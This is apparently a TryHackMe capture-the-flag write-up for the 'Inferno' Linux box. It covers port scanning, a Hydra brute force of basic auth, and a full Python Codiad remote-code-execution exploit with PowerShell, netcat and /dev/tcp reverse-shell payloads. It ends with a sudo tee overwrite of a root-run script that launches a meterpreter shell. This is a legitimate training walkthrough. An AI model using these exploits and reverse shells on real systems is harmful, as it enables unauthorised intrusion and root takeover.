- URL: https://tryhackme.com/room/inferno
- Target OS: Linux
- Rated Difficulty: Medium
DESCRIPTION
"Midway upon the journey of our life I found myself within a forest dark, For the straightforward pathway had been lost. Ah me! how hard a thing it is to say What was this forest savage, rough, and stern, Which in the very thought renews the fear."
Remember: in the nine circles of Hell you will find some demons that will try to prevent your access, ignore them and move on. (if you can)
ENUM >> NMAP initial
root@ip-10-10-25-195:~# nmap -sS -sV -oN inferno_init 10.10.172.176
Starting Nmap 7.60 ( https://nmap.org ) at 2021-12-11 05:37 GMT
Nmap scan report for ip-10-10-172-176.eu-west-1.compute.internal (10.10.172.176)
Host is up (0.041s latency).
Not shown: 958 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
23/tcp open telnet?
25/tcp open smtp?
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
88/tcp open kerberos-sec?
106/tcp open pop3pw?
110/tcp open pop3?
389/tcp open ldap?
443/tcp open https?
464/tcp open kpasswd5?
636/tcp open ldapssl?
777/tcp open multiling-http?
783/tcp open spamassassin?
808/tcp open ccproxy-http?
873/tcp open rsync?
1001/tcp open webpush?
1236/tcp open bvcontrol?
1300/tcp open h323hostcallsc?
2000/tcp open cisco-sccp?
2003/tcp open finger?
2121/tcp open ccproxy-ftp?
2601/tcp open zebra?
2602/tcp open ripd?
2604/tcp open ospfd?
2605/tcp open bgpd?
2607/tcp open connection?
2608/tcp open wag-service?
4224/tcp open xtell?
5051/tcp open ida-agent?
5432/tcp open postgresql?
5555/tcp open freeciv?
5666/tcp open nrpe?
6346/tcp open gnutella?
6566/tcp open sane-port?
6667/tcp open irc?
8021/tcp open ftp-proxy?
8081/tcp open blackice-icecap?
8088/tcp open radan-http?
9418/tcp open git?
10000/tcp open snet-sensor-mgmt?
10082/tcp open amandaidx?
MAC Address: 02:90:28:B5:0E:51 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.11 seconds
- The "extended" port list – this was using
-p-
21/tcp open ftp?
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
23/tcp open telnet?
25/tcp open smtp?
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
88/tcp open kerberos-sec?
106/tcp open pop3pw?
110/tcp open pop3?
194/tcp open irc?
389/tcp open ldap?
443/tcp open https?
464/tcp open kpasswd5?
636/tcp open ldapssl?
750/tcp open kerberos?
775/tcp open entomb?
777/tcp open multiling-http?
779/tcp open unknown
783/tcp open spamassassin?
808/tcp open ccproxy-http?
873/tcp open rsync?
1001/tcp open webpush?
1178/tcp open skkserv?
1210/tcp open eoss?
1236/tcp open bvcontrol?
1300/tcp open h323hostcallsc?
1313/tcp open bmc_patroldb?
1314/tcp open pdps?
1529/tcp open support?
2000/tcp open cisco-sccp?
2003/tcp open finger?
2121/tcp open ccproxy-ftp?
2150/tcp open dynamic3d?
2600/tcp open zebrasrv?
2601/tcp open zebra?
2602/tcp open ripd?
2603/tcp open ripngd?
2604/tcp open ospfd?
2605/tcp open bgpd?
2606/tcp open netmon?
2607/tcp open connection?
2608/tcp open wag-service?
2988/tcp open hippad?
2989/tcp open zarkov?
4224/tcp open xtell?
4557/tcp open fax?
4559/tcp open hylafax?
4600/tcp open piranha1?
4949/tcp open munin?
5051/tcp open ida-agent?
5052/tcp open ita-manager?
5151/tcp open esri_sde?
5354/tcp open mdnsresponder?
5355/tcp open llmnr?
5432/tcp open postgresql?
5555/tcp open freeciv?
5666/tcp open nrpe?
5667/tcp open unknown
5674/tcp open hyperscsi-port?
5675/tcp open v5ua?
5680/tcp open canna?
6346/tcp open gnutella?
6514/tcp open syslog-tls?
6566/tcp open sane-port?
6667/tcp open irc?
8021/tcp open ftp-proxy?
8081/tcp open blackice-icecap?
8088/tcp open radan-http?
8990/tcp open http-wmap?
9098/tcp open unknown
9359/tcp open unknown
9418/tcp open git?
9673/tcp open unknown
10000/tcp open snet-sensor-mgmt?
10081/tcp open famdc?
10082/tcp open amandaidx?
10083/tcp open amidxtape?
11201/tcp open smsqp?
15345/tcp open xpilot?
17001/tcp open unknown
17002/tcp open unknown
17003/tcp open unknown
17004/tcp open unknown
20011/tcp open unknown
20012/tcp open ss-idi-disc?
24554/tcp open binkp?
27374/tcp open subseven?
30865/tcp open unknown
57000/tcp open unknown
60177/tcp open unknown
60179/tcp open unknown
- OK, this is going to be one of those boxes… they did warn us of "demons".
ENUM >> website text – in Italian
- This seems to be from Dante’s Inferno – the first part of Dante Alighieri’s 14th-century poem Divine Comedy.
ENUM >> /inferno – password protected (http get auth basic)
- OK, basic auth is a pain… but not that hard to break with a bit of patience and your good buddy Hydra:
❯ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.123.26 http-get "/inferno:"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-11 18:39:45
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get://10.10.123.26:80/inferno:
[STATUS] 1388.00 tries/min, 1388 tries in 00:01h, 14343011 to do in 172:14h, 16 active
[STATUS] 1426.33 tries/min, 4279 tries in 00:03h, 14340120 to do in 167:34h, 16 active
[STATUS] 1435.57 tries/min, 10049 tries in 00:07h, 14334350 to do in 166:26h, 16 active
[80][http-get] host: 10.10.123.26 login: admin password: <REDACTED>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-11 18:49:49
CREDS - admin
PRIVESC >> /inferno has Codiad instance, login same as above!
Full credit to the creator of this box – they made this one especially annoying on multiple fronts. Firstly before we could even step foot into /inferno
we had to crack the basic auth login (above step), then it almost looked easy because the credentials to get past http basic auth were also the login for Codiad… but then it starts to get muddy!
Firstly, none of the files inside Codiad can be modified, nor can new files be added. On top of that it took manually hacking the exploits that would usually have easily given us code execution to get it to work with this instance, because of the annoying http basic auth on the root directory.
Here is the modified code for an updated version of the first of the 3 remote code execution exploits listed in searchsploit
: https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit
LOOT >> exploit.py
#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import json
session = requests.Session()
def login(domain, username, password):
global session
url = domain + "/components/user/controller.php?action=authenticate"
data = {
"username": username,
"password": password,
"theme": "default",
"language": "en"
}
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Authorization": "Basic YWRtaW46ZGFudGUx"
}
response = session.post(url, data=data, headers=headers, verify=False)
content = response.content
print "[+] Login Content : %s" % (content)
if 'status":"success"' in content:
return True
def get_write_able_path(domain):
global session
url = domain + "/components/project/controller.php?action=get_current"
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Authorization": "Basic YWRtaW46ZGFudGUx"
}
response = session.get(url, headers=headers, verify=False)
content = response.content
print "[+] Path Content : %s" % (content)
json_obj = json.loads(content)
if json_obj['status'] == "success":
return json_obj['data']['path']
else:
return False
def base64_encode_2_bytes(host, port):
payload = '''
$client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
$stream = $client.GetStream();
[byte[]]$bytes = 0..255|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
'''
result = ""
for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
result += i + "\x00"
return result.encode("base64").replace("\n", "")
def build_powershell_payload(host, port):
preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")
def exploit(domain, username, password, host, port, path, platform):
global session
url = domain + \
"components/filemanager/controller.php?type=1&action=search&path=%s" % (
path)
if platform.lower().startswith("win"):
# new version escapeshellarg
# escapeshellarg on windows will quote the arg with ""
# so we need to try twice
payload = '||%s||' % (build_powershell_payload(host, port))
payload = "search_string=Hacker&search_file_type=" + payload
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Authorization": "Basic YWRtaW46ZGFudGUx"
}
response = session.post(url, data=payload, headers=headers, verify=False)
content = response.content
print content
# old version escapeshellarg
payload = '%%22||%s||' % (build_powershell_payload(host, port))
payload = "search_string=Hacker&search_file_type=" + payload
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Authorization": "Basic YWRtaW46ZGFudGUx"
}
response = session.post(url, data=payload, headers=headers, verify=False)
content = response.content
print content
else:
# payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
payload = "search_string=Hacker&search_file_type=" + payload
headers = {
"Authorization": "Basic YWRtaW46ZGFudGUx",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
response = session.post(url, data=payload, headers=headers, verify=False)
content = response.content
print content
def promote_yes(hint):
print hint
while True:
ans = raw_input("[Y/n] ").lower()
if ans == 'n':
return False
elif ans == 'y':
return True
else:
print "Incorrect input"
def main():
if len(sys.argv) != 7:
print "Usage : "
print " python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0])
print " python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0])
print "Example : "
print " python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0])
print " python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0])
print "Author : "
print " WangYihang <wangyihanger@gmail.com>"
exit(1)
domain = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
host = sys.argv[4]
port = int(sys.argv[5])
platform = sys.argv[6]
if platform.lower().startswith("win"):
print "[+] Please execute the following command on your vps: "
print "nc -lnvp %d" % (port)
if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
exit(1)
else:
print "[+] Please execute the following command on your vps: "
print "echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port)
print "nc -lnvp %d" % (port + 1)
if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
exit(1)
print "[+] Starting..."
if not login(domain, username, password):
print "[-] Login failed! Please check your username and password."
exit(2)
print "[+] Login success!"
print "[+] Getting writeable path..."
path = get_write_able_path(domain)
if path == False:
print "[+] Get current path error!"
exit(3)
print "[+] Writeable Path : %s" % (path)
print "[+] Sending payload..."
exploit(domain, username, password, host, port, path, platform)
print "[+] Exploit finished!"
print "[+] Enjoy your reverse shell!"
if __name__ == "__main__":
main()
I had to add the HTTP basic auth support to the above code as this was not in any version of the exploit… not that difficult, and in all honesty a great lesson in having to modify exploits to work.
If you follow the instructions it gives you, you will get a shell… but be warned – find a command that will spawn a bash shell and run it a few times… even just repeatedly running /bin/bash
… there is a script running in the background that will kill bash shells every minute or so… but more on this later.
To help get around this, I knocked up a quick meterpreter shell via msfvenom
, dumped it on the box and ran it. This gave me a stable and persistent connection to the box… you could of course also stick to using /bin/sh
… but I prefer the extra features of bash.
PRIVESC >> ssh creds in /home/dante/Downloads/.download.dat
On top of the multitude of open ports, the bash shell killing every minute and the trouble to exploit that annoying web app, this box also has a home directory (that you can read without dante
s access) full of random documents and images to throw you off. Fortunately after I downloaded all of them via meterpreter I noticed the file .download.dat
in the Downloads
folder – it stuck out because of the .
at the front of the filename, like it was not meant to be found as easy as the rest… when I cat
ted it, I noticed it looked like hex…
LOOT >> .download.dat
c2 ab 4f 72 20 73 65 e2 80 99 20 74 75 20 71 75 65 6c 20 56 69 72 67 69 6c 69 6f 20 65 20 71 75 65 6c 6c 61 20 66 6f 6e 74 65 0a 63 68 65 20 73 70 61 6e 64 69 20 64 69 20 70 61 72 6c 61 72 20 73 c3 ac 20 6c 61 72 67 6f 20 66 69 75 6d 65 3f c2 bb 2c 0a 72 69 73 70 75 6f 73 e2 80 99 69 6f 20 6c 75 69 20 63 6f 6e 20 76 65 72 67 6f 67 6e 6f 73 61 20 66 72 6f 6e 74 65 2e 0a 0a c2 ab 4f 20 64 65 20 6c 69 20 61 6c 74 72 69 20 70 6f 65 74 69 20 6f 6e 6f 72 65 20 65 20 6c 75 6d 65 2c 0a 76 61 67 6c 69 61 6d 69 20 e2 80 99 6c 20 6c 75 6e 67 6f 20 73 74 75 64 69 6f 20 65 20 e2 80 99 6c 20 67 72 61 6e 64 65 20 61 6d 6f 72 65 0a 63 68 65 20 6d e2 80 99 68 61 20 66 61 74 74 6f 20 63 65 72 63 61 72 20 6c 6f 20 74 75 6f 20 76 6f 6c 75 6d 65 2e 0a 0a 54 75 20 73 65 e2 80 99 20 6c 6f 20 6d 69 6f 20 6d 61 65 73 74 72 6f 20 65 20 e2 80 99 6c 20 6d 69 6f 20 61 75 74 6f 72 65 2c 0a 74 75 20 73 65 e2 80 99 20 73 6f 6c 6f 20 63 6f 6c 75 69 20 64 61 20 63 75 e2 80 99 20 69 6f 20 74 6f 6c 73 69 0a 6c 6f 20 62 65 6c 6c 6f 20 73 74 69 6c 6f 20 63 68 65 20 6d e2 80 99 68 61 20 66 61 74 74 6f 20 6f 6e 6f 72 65 2e 0a 0a 56 65 64 69 20 6c 61 20 62 65 73 74 69 61 20 70 65 72 20 63 75 e2 80 99 20 69 6f 20 6d 69 20 76 6f 6c 73 69 3b 0a 61 69 75 74 61 6d 69 20 64 61 20 6c 65 69 2c 20 66 61 6d 6f 73 6f 20 73 61 67 67 69 6f 2c 0a 63 68 e2 80 99 65 6c 6c 61 20 6d 69 20 66 61 20 74 72 65 6d 61 72 20 6c 65 20 76 65 6e 65 20 65 20 69 20 70 6f 6c 73 69 c2 bb 2e 0a 0a 64 61 6e 74 65 3a 56 31 72 67 31 6c 31 30 68 33 6c 70 6d 33 0a
When I ran this file through Boxentriq’s Hex Analysis Tool it gave me the following:
CREDS - dante
- Note the creds at the end of the file – this is the password for the
dante
account on the box, we now have SSH access!
And just in case you were wondering what the Italian text was:
PRIVESC >> sudo tee & /var/www/html/machine_services1320.sh
So it turns out the first line of machine_services1320.sh
was pkill bash
– this is the culprit of the "kill-bash-every-minute" annoyance this box throws at us… Either way, this is run by root
, and we also have access to tee
via sudo
on the dante
account… lets use this to our advantage.
- The commands below not only causes
root
to run our elevated meterpreter shell, but it stops that annoying constantpkill
as a bonus! As mentioned, because we havesudo
access totee
, we can leverage it to overwrite any file we wish:
dante@Inferno:~$ LFILE=/var/www/html/machine_services1320.sh
dante@Inferno:~$ echo "/dev/shm/met4444 &" | sudo tee "$LFILE"
- Within a minute, we get a call-back:
[*] Meterpreter session 2 opened (10.4.54.194:4444 -> 10.10.162.161:36288) at 2021-12-11 21:40:23 +1100
meterpreter > getuid
Server username: root
meterpreter > ls
Listing: /root
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
20666/rw-rw-rw- 0 cha 2021-12-11 20:41:55 +1100 .bash_history
100644/rw-r--r-- 3106 fil 2021-01-12 01:56:22 +1100 .bashrc
40750/rwxr-x--- 4096 dir 2021-01-12 02:45:59 +1100 .config
40755/rwxr-xr-x 4096 dir 2021-01-12 02:30:04 +1100 .local
100644/rw-r--r-- 148 fil 2021-01-12 01:56:22 +1100 .profile
40700/rwx------ 4096 dir 2021-01-12 02:19:28 +1100 .ssh
100600/rw------- 79 fil 2021-01-12 02:45:04 +1100 proof.txt
meterpreter > cat proof.txt
Congrats!
You've rooted Inferno!
<REDACTED>
mindsflee